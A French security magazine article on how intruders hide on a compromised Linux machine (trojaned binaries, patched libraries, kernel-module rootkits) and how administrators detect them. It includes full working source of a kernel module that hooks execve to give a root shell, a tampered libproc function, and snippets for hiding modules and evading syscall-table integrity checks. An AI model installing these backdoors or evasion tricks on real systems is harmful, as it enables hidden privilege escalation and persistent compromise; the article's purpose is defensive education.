original in fr Fr�d�ric Raynal aka Pappy
Fr�d�ric Raynal est titulaire d'un Doctorat en informatique apr�s une th�se sur les outils destin�s � la dissimulation d'information. Il est le r�dacteur en chef de la revue MISC d�di�e � la s�curit� informatique. Accessoirement, il est � la recherche d'un emploi dans le domaine de la R&D.
Cet article a �t� publi� dans un num�ro sp�cial sur la s�curit� de Linux
Magazine France. L'�diteur, les auteurs, les traducteurs ont aimablement
accept� que tous les articles de ce num�ro hors-s�rie soient publi�s dans
LinuxFocus. En cons�quence, LinuxFocus vous "offrira" ces articles au fur et
� mesure de leur traduction en Anglais. Merci � toutes les personnes qui se
sont investies dans ce travail. Ce r�sum� sera reproduit pour chaque article
ayant la m�me origine.
Cet article pr�sente les diff�rentes op�rations entreprises par un pirate apr�s qu'il ait r�ussi � p�n�trer sur une machine. Nous verrons �galement les mesures qu'un administrateur peut prendre pour d�tecter que la machine est corrompue.
Dans cet article, nous partons de l'hypoth�se qu'un pirate est parvenu � entrer sur le syst�me, sans nous soucier de la m�thode. Nous consid�rons qu'il dispose de tous les droits (administrateur, root...) sur cette machine. Le syst�me entier n'est alors plus digne de confiance, m�me si tous ses outils semblent indiquer le contraire. Il a nettoy� ses traces dans les logs... bref, il est install� confortablement sur votre syst�me.
Son premier but va �tre de se faire le plus discret possible afin que l'administrateur de la machine ne d�tecte pas sa pr�sence. Ensuite, une fois que ces pr�cautions sont prises, il installe tous les outils dont il a besoin, selon les buts qu'il poursuit. Bien s�r, s'il cherche � d�truire les donn�es de la machine, il n'a pas � prendre cette peine.
De son c�t� l'administrateur ne peut pas rester connect� en permanence sur
sa machine, � l'�coute de la moindre connexion. Cependant, il est essentiel
qu'il d�tecte au plus vite tout pr�sence ind�sir�e. En effet, le syst�me
compromis sert alors de rampe de lancement pour diff�rents programmes du
pirate (bot IRC, DDOS,... ). Dans le cas d'un sniffer par exemple, il
r�cup�re ainsi tous les paquets qui transitent sur le r�seau. Or, de
nombreux protocoles ne chiffrent ni les donn�es, ni les mots de passe
(comme telnet
, rlogin
, pop3
, et
beaucoup d'autres encore). Donc, plus l'attaquant dispose de temps, plus son
contr�le s'�tend sur le r�seau auquel appartient la machine
compromise.
Une fois sa pr�sence d�tect�e, un autre probl�me survient : nous ne savons pas ce que le pirate a modifi� sur le syst�me. Il a probablement corrompu les commandes de base et outils de diagnostic pour se dissimuler. Il faut donc poss�der une m�thode qui garantit de ne pas oublier quoique ce soit, sous peine de voir le syst�me � nouveau compromis.
La derni�re question rel�ve des mesures � prendre. Deux politiques s'affrontent. Soit l'administrateur choisit de r�installer int�gralement le syst�me, soit il remplace uniquement les fichiers corrompus. Si une r�installation compl�te prend souvent beaucoup de temps, rechercher tous les programmes modifi�s, en �tant certain de ne pas en oublier, n'en est pas moins minutieux.
Quelle que soit la m�thode choisie, il est recommand� de faire une sauvegarde du syst�me corrompu afin de d�couvrir les m�thodes employ�es par le pirate. De plus, il se peut que cette machine prenne part � une attaque de plus grande envergure, qui entra�ne des poursuites � votre �gard. Ne pas effectuer la sauvegarde peut alors �tre assimil� � de la destruction de preuves ... qui pourraient en outre servir � vous innocenter.
Nous allons pr�senter ici quelques unes des diff�rentes m�thodes employ�es pour devenir invisible sur un syst�me compromis et s'assurer de conserver des privil�ges maximum sur le syst�me exploit�.
Avant d'entrer dans le vif du sujet, pr�cisons tout d'abord quelques termes de vocabulaire :
Une fois sur un syst�me compromis par ses soins, le pirate a besoin de ces deux types de programmes. Les backdoors l'autorisent � entrer sur la machine, m�me si l'administrateur prend soin de changer tous les mots de passe. Les trojans lui permettent essentiellement de rester invisible.
Dans la suite, nous ne nous soucierons pas de savoir si on parle de trojans ou de backdoors. Notre but est de montrer les techniques qui existent pour les mettre en oeuvre (elles sont essentiellement identiques) et les d�tecter.
Enfin, signalons que la plupart des distributions Linux offrent un
m�canisme d'authentification (i.e. v�rification � la fois de
l'int�grit� des fichiers et de leur provenance - rpm --checksig
par exemple). Il est fortement
recommand� de bien la v�rifier avant d'installer quoique ce soit sur votre
machine. Si vous r�cup�rez une archive corrompue et que vous l'installez
vous-m�me, le pirate n'aura plus rien � faire :( Par exemple, c'est ce qui
se produit sous Windows avec Back Orifice.
Dans la pr�histoire des syst�mes Unix, il n'�tait pas tr�s difficile de d�tecter la pr�sence d'un intrus sur une machine :
last
indique le(s) compte(s) utilis�(s) par
l'intrus, ainsi que l'endroit depuis lequel il s'est connect� et les
dates associ�es ;ls
affiche les fichiers et ps
en r�v�le les
programmes (sniffer, casseur de mots de passe...) ;netstat
affiche les connexions de la
machine ;ifconfig
montre si la carte r�seau est en mode
promiscuous
, ce qui permet au sniffer de r�cup�rer tous
les paquets sur le r�seau...Depuis, les pirates ont d�velopp� des outils qu'ils substituent � ces commandes. Tout comme les Grecs ont construit un cheval de bois pour piller Troie, ces programmes ressemblent � une chose connue et en laquelle l'administrateur a confiance. Cependant, ces nouvelles versions dissimulent les informations relatives au pirate. Comme les fichiers conservent les m�mes timestamps (dates de cr�ation et de la derni�re modification du fichier) que les autre programmes du r�pertoire, que les checksums n'ont pas chang� (via un autre trojan), l'administrateur na�f n'y verra que du feu.
Linux Root-Kit
Linux Root-Kit
(lrk
) est un classique du genre
(bien qu'un peu vieux). D�velopp� initialement par Lord Somer, il en est
actuellement � sa cinqui�me version. Il existe de nombreux autres
root-kits, et nous ne d�taillerons ici que les fonctionnalit�s apport�es
par celui-ci afin de vous donner une id�e plus pr�cise des capacit�s de ces
outils.
Les commandes remplac�es offrent des acc�s privil�gi�s sur le syst�me. Pour
�viter qu'ils ne se r�v�lent � une personne utilisant une de ces commandes,
ils sont prot�g�s par un mot de passe (satori
par d�faut),
configurable lors de la compilation.
ls
, find
, locate
,
xargs
ou du
ne r�v�leront
pas ses fichiers ;ps
, top
ou pidof
dissimuleront ses processus ; netstat
n'affichera pas les connexions
ind�sir�es, en particulier vers les propres d�mons du
pirate, comme bindshell
, bnc
ou
encore eggdrop
; killall
pr�servera ses processus ;ifconfig
ne montrera pas que l'interface est en mode
promiscuous
(la cha�ne "PROMISC
" appara�t
normalement lorsque c'est la cas) ; crontab
ne listera pas ses travaux ;tcpd
ne logge pas les connexions sp�cifi�es dans un
fichier de configuration ;syslogd
comme tcpd
.chfn
ouvre un shell root lorsque le mot de passe
du root-kit est entr� comme nom d'utilisateur ;chsh
ouvre un shell root lorsque le mot de passe du
root-kit est entr� comme nouveau shell ;passwd
ouvre un shell root lorsque le mot de passe
du root-kit est entr� comme mot de passe ; login
autorise le pirate � se connecter sous
n'importe quelle identit� en fournissant le mot de passe du
root-kit (d�sactive alors l'historique) ; su
se comporte comme login
;inted
installe un shell root � l'�coute sur un
port. Apr�s la connexion, le mot de passe du root-kit doit �tre
saisi en premi�re ligne ;rshd
ex�cute la commande demand�e en tant que root
si le username employ� est le mot de passe du
root-kit ; sshd
fonctionne comme login
mais
donne un acc�s distant ; fix
installe le programme corrompu en conservant
le timestamp et la checksum de l'original ;linsniffer
capture les paquets pour r�cup�rer des
mots de passe et autre ;sniffchk
v�rifie que le sniffer fonctionne
toujours ; wted
permet l'�dition, et la modification du
fichier wtmp
; z2
efface les entr�es ind�sir�es dans
wtmp
, utmp
et
lastlog
; Ce root-kit classique est d�pass� par ceux de nouvelle g�n�ration qui attaquent directement le noyau du syst�me. De plus, les versions des logiciels qu'il affecte ne sont plus d'actualit�.
A condition de mener une politique s�curitaire rigoureuse, ce type de root-kit est facilement d�tectable. La cryptographie nous fournit, avec les fonctions de hachage, l'outil parfait pour ceci :
[lrk5/net-tools-1.32-alpha]# md5sum ifconfig 086394958255553f6f38684dad97869e ifconfig [lrk5/net-tools-1.32-alpha]# md5sum `which ifconfig` f06cf5241da897237245114045368267 /sbin/ifconfig
Sans savoir exactement ce qui a �t� modifi�, on constate tout de
suite que la version de ifconfig
install�e et celle du
lrk5
diff�rent.
Ainsi, d�s que l'installation d'une machine est termin�e, il est n�cessaire de cr�er une sauvegarde compl�te des fichiers sensibles (nous reviendrons sur la notion de "fichier sensible") sous forme de hach�s dans une base de donn�es, afin de d�tecter le plus rapidement possible la moindre alt�ration.
La base de donn�es doit �tre plac�e sur un support prot�g� en �criture physiquement (disquette, CD non r�-inscriptible...). Consid�rons que le pirate a obtenu des droits similaires � ceux de l'administrateur sur le syst�me. Si la base de donn�es est situ�e sur une partition mont�e en read-only, il suffit au pirate de la remonter en read-write, de mettre � jour la base puis de remettre la partition en read-only. S'il est consciencieux, il prendra m�me soin de corriger les timestamps. Ainsi, lorsque vous effectuerez votre prochain test d'int�grit�, aucune diff�rence ne sera r�v�l�e. Il appara�t alors que m�me les droits du super-utilisateur ne doivent suffire � mettre � jour la base de donn�es.
Ensuite, lorsque vous mettez � jour votre syst�me, vous faites de m�me avec cette sauvegarde. De cette mani�re, si vous contr�lez �galement l'authenticit� de vos mises � jour, vous �tes � m�me de d�tecter la moindre modification ind�sir�e.
Cependant, la v�rification de l'int�grit� d'un syst�me repose deux conditions n�cessaires :
Ainsi, toute v�rification du syst�me doit se faire � l'aide d'outils provenant d'un autre syst�me, non compromis.
Comme nous venons de le voir, r�ussir � se rendre invisible n�cessite de modifier beaucoup d'�l�ments du syst�me. De multiples commandes permettent de d�tecter la pr�sence d'un fichier, et chacune d'elle doit �tre modifi�e. Il en va de m�me pour les connexions r�seau de la machine ou encore les processus courants. Le moindre oubli s'av�re fatal pour la discr�tion.
A l'heure actuelle, pour �viter d'avoir des programmes trop gros, la plupart des binaires font appel � des biblioth�ques dynamiques. Pour r�soudre le probl�me �voqu� pr�c�demment, une solution plus simple consiste � aller modifier non plus chacun des binaires, mais seulement les fonctions n�cessaires dans la biblioth�que ad�quate.
Prenons l'exemple d'un pirate qui veut modifier l'uptime d'une machine
parce qu'il vient de la rebooter. Cette information est fournit par le
syst�me via diff�rentes commandes, telles uptime
,
w
, top
Pour conna�tre les librairies n�cessaires � ces binaires, nous nous servons
de la commande ldd
:
[pappy]# ldd `which uptime` `which ps` `which top` /usr/bin/uptime: libproc.so.2.0.7 => /lib/libproc.so.2.0.7 (0x40025000) libc.so.6 => /lib/libc.so.6 (0x40032000) /lib/ld-linux.so.2 => /lib/ld-linux.so.2 (0x40000000) /bin/ps: libproc.so.2.0.7 => /lib/libproc.so.2.0.7 (0x40025000) libc.so.6 => /lib/libc.so.6 (0x40032000) /lib/ld-linux.so.2 => /lib/ld-linux.so.2 (0x40000000) /usr/bin/top: libproc.so.2.0.7 => /lib/libproc.so.2.0.7 (0x40025000) libncurses.so.5 => /usr/lib/libncurses.so.5 (0x40032000) libc.so.6 => /lib/libc.so.6 (0x40077000) libgpm.so.1 => /usr/lib/libgpm.so.1 (0x401a4000) /lib/ld-linux.so.2 => /lib/ld-linux.so.2 (0x40000000)
Outre la libc
, la librairie que nous recherchons ici est
libproc.so
. Il suffit alors de r�cup�rer les sources pour
aller modifier ce qui nous arrange. Nous utiliserons ici la version 2.0.7,
plac�e dans le r�pertoire $PROCPS
.
Les sources de la commande uptime
(dans
uptime.c
) nous signalent que nous devons trouver la
fonction print_uptime()
(dans
$PROCPS/proc/whattime.c
) puis la fonction
uptime(double *uptime_secs, double *idle_secs)
(dans
$PROCPS/proc/sysinfo.c
). Modifions cette derni�re � notre
convenance :
/* $PROCPS/proc/sysinfo.c */ 1: int uptime(double *uptime_secs, double *idle_secs) { 2: double up=0, idle=1000; 3: 4: FILE_TO_BUF(UPTIME_FILE,uptime_fd); 5: if (sscanf(buf, "%lf %lf", &up, &idle) < 2) { 6: fprintf(stderr, "bad data in " UPTIME_FILE "\n"); 7: return 0; 8: } 9: 10: #ifdef _LIBROOTKIT_ 11: { 12: char *term = getenv("TERM"); 13: if (term && strcmp(term, "satori")) 14: up+=3600 * 24 * 365 * log(up); 15: } 16: #endif /*_LIBROOTKIT_*/ 17: 18: SET_IF_DESIRED(uptime_secs, up); 19: SET_IF_DESIRED(idle_secs, idle); 20: 21: return up; /* assume never be zero seconds in practice */ 22: }
Le simple ajout, par rapport � la version initiale, des lignes 12 � 18
incluses change le r�sultat produit par la fonction. En effet, si la
variable d'environnement TERM
ne contient pas la cha�ne
"satori
", alors la variable up
est incr�ment�e
proportionnellement au logarithme de l'uptime r�elle de la machine (avec la
formule employ�e, l'uptime sera assez vite de plusieurs ann�es :)
Pour compiler notre nouvelle biblioth�que, nous avons ajout� les options
-D_LIBROOTKIT_
et -lm
(pour le
log(up);
). Lorsqu'on regarde avec
ldd
les biblioth�ques n�cessaires � l'ex�cution d'un binaire
utilisant notre fonction uptime
, on voit alors que
libm
en fait partie. Malheureusement, ce n'est pas le cas des
binaires install�s sur le syst�me. Utiliser notre biblioth�que telle quelle
conduit � l'erreur suivante :
[procps-2.0.7]# ldd ./uptime //cmd compil�e avec la nouvelle libproc.so libm.so.6 => /lib/libm.so.6 (0x40025000) libproc.so.2.0.7 => /lib/libproc.so.2.0.7 (0x40046000) libc.so.6 => /lib/libc.so.6 (0x40052000) /lib/ld-linux.so.2 => /lib/ld-linux.so.2 (0x40000000) [procps-2.0.7]# ldd `which uptime` //cmd d'origine libproc.so.2.0.7 => /lib/libproc.so.2.0.7 (0x40025000) libc.so.6 => /lib/libc.so.6 (0x40031000) /lib/ld-linux.so.2 => /lib/ld-linux.so.2 (0x40000000) [procps-2.0.7]# uptime //cmd d'origine uptime: error while loading shared libraries: /lib/libproc.so.2.0.7: undefined symbol: log
Pour ne pas recompiler chacun des binaires, il suffit de forcer
l'utilisation de la biblioth�que statique de math lors de la cr�ation
de libproc.so
:
gcc -shared -Wl,-soname,libproc.so.2.0.7 -o libproc.so.2.0.7 alloc.o compare.o devname.o ksym.o output.o pwcache.o readproc.o signals.o status.o sysinfo.o version.o whattime.o /usr/lib/libm.a
Ainsi, la fonction log()
est incorpor�e directement
dans libproc.so
. Il faut que la biblioth�que modifi�e
conserve les m�mes d�pendences que l'originale, sans quoi les binaires
qui y font appel ne peuvent plus fonctionner.
[pappy]# uptime 2:12pm up 7919 days, 1:28, 2 users, load average: 0.00, 0.03, 0.00 [pappy]# w 2:12pm up 7920 days, 22:36, 2 users, load average: 0.00, 0.03, 0.00 USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT raynal tty1 - 12:01pm 1:17m 1.02s 0.02s xinit /etc/X11/ raynal pts/0 - 12:55pm 1:17m 0.02s 0.02s /bin/cat [pappy]# top 2:14pm up 8022 days, 32 min, 2 users, load average: 0.07, 0.05, 0.00 51 processes: 48 sleeping, 3 running, 0 zombie, 0 stopped CPU states: 2.9% user, 1.1% system, 0.0% nice, 95.8% idle Mem: 191308K av, 181984K used, 9324K free, 0K shrd, 2680K buff Swap: 249440K av, 0K used, 249440K free 79260K cached [pappy]# export TERM=satori [pappy]# uptime 2:15pm up 2:14, 2 users, load average: 0.03, 0.04, 0.00 [pappy]# w 2:15pm up 2:14, 2 users, load average: 0.03, 0.04, 0.00 USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT raynal tty1 - 12:01pm 1:20m 1.04s 0.02s xinit /etc/X11/ raynal pts/0 - 12:55pm 1:20m 0.02s 0.02s /bin/cat [pappy]# top top: Unknown terminal "satori" in $TERM
Tout fonctionne presque parfaitement. Il semble que top
utilise la variable d'environnement TERM
pour g�rer son
affichage. Il vaut mieux utiliser une autre variable pour passer le signal
indiquant de d�livrer la v�ritable valeur.
La mise en oeuvre n�cessaire � la d�tection de modifications dans les
biblioth�ques dynamiques est identique � celle �voqu�e pr�c�demment. Il
suffit d'en v�rifier le hach�. Malheureusement, de trop nombreux
administrateurs n�gligent de les calculer et se contentent des r�pertoires
classiques (/bin
, /sbin
, /usr/bin
,
/usr/sbin
, /etc
...) alors que tous les
r�pertoires contenant ces biblioth�ques sont tout autant sensibles.
Mais l'int�r�t de modifier des biblioth�ques dynamiques ne r�side pas uniquement dans la possibilit� d'influencer plusieurs binaires en m�me temps. Les programmes qui v�rifient l'int�grit� font eux aussi parfois appels � de telles biblioth�ques. Ceci est tr�s dangereux ! Sur un syst�me sensible, tous les programmes vitaux doivent �tre compil�s en statique, afin que les modifications subies par les biblioth�ques ne s'y r�percutent pas.
Ainsi, le programme md5sum
employ� pr�c�demment s'av�re
risqu� :
[pappy]# ldd `which md5sum` libc.so.6 => /lib/libc.so.6 (0x40025000) /lib/ld-linux.so.2 => /lib/ld-linux.so.2 (0x40000000)
Il fait appel dynamiquement � des fonctions de la libc
qui ont
pu �tre modifi�es (le voir avec nm -D `which md5sum`
). Par
exemple, lorsqu'un fopen()
est
effectu�, il suffit de v�rifier le chemin vers le fichier demand�. S'il
correspond � celui d'un programme pirat�, alors on le redirige vers le
programme initial, que le pirate a pris soin de conserver cach� quelque
part sur le syst�me.
Cet exemple assez simpliste montre d�j� les possibilit�s offertes pour tromper les tests d'int�grit�. Nous avions vu qu'ils devaient �tre conduits � partir d'outils externes au syst�me compromis (cf. la partie sur les binaires). Nous apprenons maintenant qu'ils ne servent � rien s'ils font eux-m�me appel � des fonctions du syst�me compromis.
D�s � pr�sent, nous pouvons constituer une trousse d'urgence pour d�tecter la pr�sence du pirate :
ls
pour trouver ses fichiers ;ps
pour contr�ler l'activit� des processus ;netstat
pour superviser les connexions r�seau ;ifconfig
pour conna�tre l'�tat des interfaces r�seau.Ces programmes constituent le minimum vital. Cependant, d'autres commandes se r�v�lent �galement tr�s instructives :
lsof
liste tous les fichiers ouverts sur le
syst�me ;fuser
identifie les processus qui utilisent un
fichier.Signalons qu'elles ne servent pas uniquement lorsque nous recherchons � d�tecter la pr�sence d'un pirate, mais �galement pour diagnostiquer des pannes sur le syst�me.
Il va de soi que tous les programmes pr�sents dans la trousse de secours doivent �tre compil�s statiquement. Nous venons de voir que les biblioth�ques dynamiques peuvent �tre fatales.
De m�me vouloir modifier tous les binaires capables de d�tecter la pr�sence d'un fichier, souhaiter contr�ler toutes les fonctions de toutes les biblioth�ques rel�ve de l'impossible. "Impossible", dites-vous ? Pas tout � fait. Un petit village r�siste encore et toujours � l'envahisseur ... mais plus pour longtemps.
Une nouvelle g�n�ration de root-kits a fait son apparition. Ils attaquent directement le noyau.
Illimit�e ! Comme son nom l'indique, un LKM agit directement dans l'espace du noyau, il a donc acc�s � tout et peut tout contr�ler.
Pour un pirate, un LKM permet de :
chroot
) ;La liste est aussi longue que le pirate a d'imagination. Cependant, comme c'�tait d�j� le cas avec les m�thodes pr�sent�es auparavant, un administrateur peut recourir aux m�mes outils, et programmer ses propres modules pour d�fendre son syst�me :
Comment se prot�ger contre les LKMs ? Lors de la compilation, il est
possible de d�sactiver le support des modules (r�pondre N �
CONFIG_MODULES
) ou bien de ne pas en s�lectionner lorsque
c'est possible (i.e. ne r�pondre que Y ou N). Ceci conduit � un noyau dit
monolithique.
Cependant, m�me si le noyau ne supporte pas les modules, il est quand m�me
possible d'en charger en m�moire (m�me si ce n'est pas la chose la plus
simple). Silvio Cesare a �crit le programme kinsmod
qui permet
d'aller attaquer directement le noyau via le device /dev/kmem
qui g�re la m�moire occup�e par celui-ci (lire
runtime-kernel-kmem-patching.txt sur sa page).
Pour r�sumer la programmation de modules, tout repose sur deux fonctions au
nom assez explicite : init_module()
et
cleanup_module()
. Elles d�finissent le comportement du
module. Mais surtout, comme elles sont ex�cut�es dans l'espace du noyau,
elles ont acc�s � tout ce qui se passe dans la m�moire du noyau, comme les
appels syst�me ou les symboles.
Nous allons pr�senter l'installation d'une backdoor via un
lkm. L'utilisateur qui voudra obtenir un shell root n'aura qu'�
ex�cuter la commande /etc/passwd
. Certes, ce fichier
n'est pas une commande. Cependant, comme nous d�tournons l'appel
syst�me sys_execve()
, nous le redirigeons vers la
commande /bin/sh
, en s'arrangeant pour transmettre les
droits root sur ce shell.
Ce module a �t� test� sur plusieurs noyaux~: 2.2.14, 2.2.16, 2.2.19, 2.4.4. Il fonctionne parfaitement sur tous ces noyaux. Cependant, sur un 2.2.19smp-ow1 (multi-processeurs avec patch Openwall), si un shell est bien ouvert, il ne donne pas les privil�ges root :( Le noyau est vraiment quelque chose de sensible et fragile, alors prenez garde � ce que vous faites ... Par ailleurs, les fichiers indiqu�s le sont par rapport � l'arborescence classique des sources du noyau.
/* rootshell.c */ #define MODULE #define __KERNEL__ #ifdef MODVERSIONS #include <linux/modversions.h> #endif #include <linux/config.h> #include <linux/stddef.h> #include <linux/module.h> #include <linux/kernel.h> #include <linux/mm.h> #include <sys/syscall.h> #include <linux/smp_lock.h> #if KERNEL_VERSION(2,3,0) < LINUX_VERSION_CODE #include <linux/slab.h> #endif int (*old_execve)(struct pt_regs); extern void *sys_call_table[]; #define ROOTSHELL "[rootshell] " char magic_cmd[] = "/bin/sh"; int new_execve(struct pt_regs regs) { int error; char * filename, *new_exe = NULL; char hacked_cmd[] = "/etc/passwd"; lock_kernel(); filename = getname((char *) regs.ebx); printk(ROOTSHELL " .%s. (%d/%d/%d/%d) (%d/%d/%d/%d)\n", filename, current->uid, current->euid, current->suid, current->fsuid, current->gid, current->egid, current->sgid, current->fsgid); error = PTR_ERR(filename); if (IS_ERR(filename)) goto out; if (memcmp(filename, hacked_cmd, sizeof(hacked_cmd) ) == 0) { printk(ROOTSHELL " Got it :)))\n"); current->uid = current->euid = current->suid = current->fsuid = 0; current->gid = current->egid = current->sgid = current->fsgid = 0; cap_t(current->cap_effective) = ~0; cap_t(current->cap_inheritable) = ~0; cap_t(current->cap_permitted) = ~0; new_exe = magic_cmd; } else new_exe = filename; error = do_execve(new_exe, (char **) regs.ecx, (char **) regs.edx, ®s); if (error == 0) #ifdef PT_DTRACE /* 2.2 vs. 2.4 */ current->ptrace &= ~PT_DTRACE; #else current->flags &= ~PF_DTRACE; #endif putname(filename); out: unlock_kernel(); return error; } int init_module(void) { lock_kernel(); printk(ROOTSHELL "Loaded :)\n"); #define REPLACE(x) old_##x = sys_call_table[__NR_##x];\ sys_call_table[__NR_##x] = new_##x REPLACE(execve); unlock_kernel(); return 0; } void cleanup_module(void) { #define RESTORE(x) sys_call_table[__NR_##x] = old_##x RESTORE(execve); printk(ROOTSHELL "Unloaded :(\n"); }
V�rifions que tout fonctionne comme nous le souhaitons :
[root@charly rootshell]$ insmod rootshell.o [root@charly rootshell]$ exit exit [pappy]# id uid=500(pappy) gid=100(users) groups=100(users) [pappy]# /etc/passwd [root@charly rootshell]$ id uid=0(root) gid=0(root) groups=100(users) [root@charly rootshell]$ rmmod rootshell [root@charly rootshell]$ exit exit [pappy]#
Apr�s cette courte d�monstration, jetons �galement un coup d'oeil
au contenu du fichier /var/log/kernel
, charg� par
syslogd
d'enregistrer tous les messages �mis par le noyau
(kern.* /var/log/kernel
dans
/etc/syslogd.conf
) :
May 25 11:24:41 charly kernel: [rootshell] Loaded :) May 25 11:24:53 charly kernel: [rootshell] ./usr/bin/id. (500/500/500/500) (100/100/100/100) May 25 11:24:59 charly kernel: [rootshell] ./etc/passwd. (500/500/500/500) (100/100/100/100) May 25 11:24:59 charly kernel: [rootshell] Got it :))) May 25 11:25:02 charly kernel: [rootshell] ./usr/bin/id. (0/0/0/0) (0/0/0/0) May 25 11:25:07 charly kernel: [rootshell] ./sbin/rmmod. (0/0/0/0) (0/0/0/0) May 25 11:25:10 charly kernel: [rootshell] Unloaded :(
En modifiant l�g�rement ce module, un administrateur dispose d'un
excellent outil de surveillance. En effet, toutes les commandes
lanc�es sur le syst�me sont enregistr�es dans les logs du noyau. Le
registre regs.ecx
contient **argv
et
regs.edx
**envp
, ce qui, avec la structure
current
qui d�crit la t�che en cours, permet d'obtenir toutes les
informations n�cessaires pour savoir � chaque instant ce qui se passe.
Du point de vue administrateur, le test d'int�grit� ne permet plus de d�couvrir la pr�sence de ce module (en fait, ce n'est pas tout � fait exact car ce module est tr�s simple). Nous allons donc analyser les traces potentiellement laiss�es par de tels root-kits :
rootshell.o
n'est pas invisible
sur le syst�me de fichier parce que ce module est simpliste. Toutefois,
il suffit de red�finir sys_getdents()
pour rendre notre
fichier ind�tectable ;sys_kill()
et un nouveau
signal SIGINVISIBLE
, il suffit ensuite d'ignorer tous
les acc�s � des fichiers marqu�s dans /proc
(voir le lrk
adore
) ; lsmod
fournit une liste des modules pr�sents en
m�moire :
[root@charly module]$ lsmod Module Size Used by rootshell 832 0 (unused) emu10k1 41088 0 soundcore 2384 4 [emu10k1]Quand un module est charg�, il est plac� en t�te de la liste
module_list
contenant tous les modules pr�sents en
m�moire puis son nom est ajout� au fichier
/proc/modules
. lsmod
parcourt ce dernier
� la recherche d'informations. Retirer ce module de
module_list
permet de le faire dispara�tre de
/proc/modules
:
int init_module(void) { [...] if (!module_list->next) //this is the only module :( return -1; // This works fine because __this_module == module_list module_list = module_list->next; [...] }Malheureusement, cette manipulation interdit de retirer ensuite le module de la m�moire, � moins d'en conserver l'adresse quelque part.
/proc/ksyms
: ce fichier contient la
liste des symboles accessibles dans l'espace du noyau :
[...] e00c41ec magic_cmd [rootshell] e00c4060 __insmod_rootshell_S.text_L281 [rootshell] e00c41ec __insmod_rootshell_S.data_L8 [rootshell] e00c4180 __insmod_rootshell_S.rodata_L107 [rootshell] [...]La macro
EXPORT_NO_SYMBOLS
, d�finie dans
include/linux/module.h
, signale au compilateur qu'aucune
fonction ou variable d�finie dans le fichier n'est accessible en
dehors du module lui-m�me :
int init_module(void) { [...] EXPORT_NO_SYMBOLS; [...] }Cependant, sur les noyaux 2.2.18, 2.2.19 et 2.4.x ( x<=3 - je ne sais pas pour les autres), les symboles
__insmod_*
restent
visibles. Retirer le module de module_list
efface
�galement les symboles export�s de /proc/ksyms
.
Les probl�mes/solutions pr�sent�s ici s'appuient sur des commandes issues de l'espace utilisateur. Un bon LKM utilisera toutes ces techniques pour se rendre invisible.
Il existe toutefois deux solutions pour d�tecter ces root-kits. La premi�re
consiste � utiliser le device /dev/kmem
pour comparer ce qui
est pr�sent dans cette image de la m�moire du noyau avec ce qui est d�clar�
publiquement dans /proc
. Un outil comme kstat
permet d'aller fouiller dans /dev/kmem
pour v�rifier les
processus pr�sents sur le syst�me, les adresses des appels
syst�me ... L'article Detecting Loadable Kernel Modules (LKM)
de Toby Miller d�crit comment utiliser kstat
pour d�tecter de
tels root-kits.
Une autre approche consiste � d�tecter toute tentative de modifications de
la table des appels syst�me. Le module St_Michael
de Tim
Lawless propose une telle supervision. Les
informations qui suivent sont susceptibles de changer car le module est
encore en cours d'�laboration � l'heure de la r�daction de cet
article.
Comme nous l'avons vu sur l'exemple pr�c�dent, les lkms root-kits reposent
sur la modification de la table des appels syst�me. Une premi�re solution
consiste alors � sauvegarder leur adresse dans un tableau secondaire et �
red�finir les appels qui g�rent les modules sys_init_module()
et sys_delete_module()
. Ainsi, apr�s le chargement de
chaque module, on v�rifie que l'adresse co�ncide toujours :
/* Extrait du module St_Michael de Tim Lawless */ asmlinkage long sm_init_module (const char *name, struct module * mod_user) { int init_module_return; register int i; init_module_return = (*orig_init_module)(name,mod_user); /* Verify that the syscall table is the same. If its changed then respond We could probably make this a function in itself, but why spend the extra time making a call? */ for (i = 0; i < NR_syscalls; i++) { if ( recorded_sys_call_table[i] != sys_call_table[i] ) { int j; for ( i = 0; i < NR_syscalls; i++) sys_call_table[i] = recorded_sys_call_table[i]; break; } } return init_module_return; }
Cette solution permet de se pr�munir contre les lkm root-kits actuels mais
elle est loin d'�tre parfaite. La s�curit� est une sorte de course �
l'armement, et voici un moyen de contourner cette protection. Plut�t que de
modifier l'adresse de l'appel syst�me, pourquoi ne pas modifier le code
d'appel syst�me lui-m�me ? Cette technique est d�crite dans
stealth-syscall.txt de Silvio Cesare. L'attaque remplace les premiers
octets du code de l'appel syst�me par l'instruction "jump
&new_syscall
" (ici en pseudo Assembleur) :
/* Extrait de stealth_syscall.c (Linux 2.0.35) par Silvio Cesare */ static char new_syscall_code[7] = "\xbd\x00\x00\x00\x00" /* movl $0,%ebp */ "\xff\xe5" /* jmp *%ebp */ ; int init_module(void) { *(long *)&new_syscall_code[1] = (long)new_syscall; _memcpy(syscall_code, sys_call_table[SYSCALL_NR], sizeof(syscall_code)); _memcpy(sys_call_table[SYSCALL_NR], new_syscall_code, sizeof(syscall_code)); return 0; }
Tout comme nous prot�geons nos binaires et biblioth�ques avec des tests
d'int�grit�, la m�me d�marche s'impose ici. Il nous faut conserver un hach�
du code machine de chaque appel syst�me. Nous travaillons actuellement �
cette mise en oeuvre dans St_Michael
en modifiant
l'appel-syst�me init_module()
de sorte � ce qu'un test
d'int�grit� soit effectu� apr�s le chargement de chaque module.
Cependant, m�me ainsi, il est possible de contourner le test d'int�grit� (les exemples sont issus de la correspondance entre Tim Lawless, Mixman et moi-m�me ; les sources sont dues � Mixman) :
init_module()
, on modifie les premiers octets d'une
fonction (printk()
dans l'exemple) pour que cette
fonction "saute" vers un hacked_printk()
/* Extrait de printk_exploit.c par Mixman */ static unsigned char hacked = 0; /* hacked_printk() effectue les remplacements d'appel-syst�me. Ensuite, on effectue le printk() normal pour que tout fonctionne correctement */ asmlinkage int hacked_printk(const char* fmt,...) { va_list args; char buf[4096]; int i; if(!fmt) return 0; if(!hacked) { sys_call_table[SYS_chdir] = hacked_chdir; hacked = 1; } memset(buf,0,sizeof(buf)); va_start(args,fmt); i = vsprintf(buf,fmt,args); va_end(args); return i; }Ainsi, le test d'int�grit� plac� dans la red�finition de
init_module()
, confirme
qu'aucun appel-syst�me n'a �t� modifi� lors du
chargement. Cependant, au prochain appel de la fonction
printk()
, le changement prend place...init_module()
,
la d�claration d'un timer active la modification bien
apr�s le chargement du module. Ainsi, comme les tests
d'int�grit� �taient pr�vus uniquement au (d�)chargement de
modules, l'attaque passe inaper�ue :(
